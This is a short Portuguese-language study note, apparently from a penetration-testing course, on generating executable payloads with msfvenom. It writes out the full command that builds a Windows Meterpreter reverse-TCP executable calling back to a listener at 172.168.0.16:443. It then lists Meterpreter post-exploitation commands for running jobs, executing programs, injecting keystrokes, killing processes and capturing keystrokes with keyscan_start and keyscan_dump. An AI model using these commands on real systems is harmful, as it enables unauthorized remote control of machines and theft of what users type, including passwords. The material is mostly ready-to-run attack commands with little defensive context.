# *Gerando Payloads Executáveis*

+ As vezes estamos trabalhando com exploits públicos e precisamos executar algum exploit em uma linguagem tipo c, python, php, java ou até mesmo asp (para o caso da aplicação rodar o asp)

+ Para isso, vamos utilizar o msfvenom
→ Ele facilita a geração de shellcodes

+ Para ver os formatos disponíveis:

```
msfvenom -l format
```

+ Para gerar um payload para windows usando o meterpreter:

```
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.168.0.16
lport=443 -f exe -o shelldesec.exe
```

+ Lá no metasploit, se executarmos um payload com o hífen -j, faremos com que ele trabalhe de forma paralela

```
exploit -j
```

+ se dermos um jobs, poderemos ver os jobs que estão rodando

+ Aprendemos a usar outras funções do meterpreter:
→ Abrir um notepad:

```
execute -f notepad.exe
```

→ Enviar um comando pro teclado:

```
keyboard_send "EU SEI O QUE VOCÊ FEZ"
```

→ Matar o processo 8160:

```
kill 8160
```

→ Para scannear o que o usuário digitou:

```
keyscan_start
```

```
key
```

```
keyscan_dump
```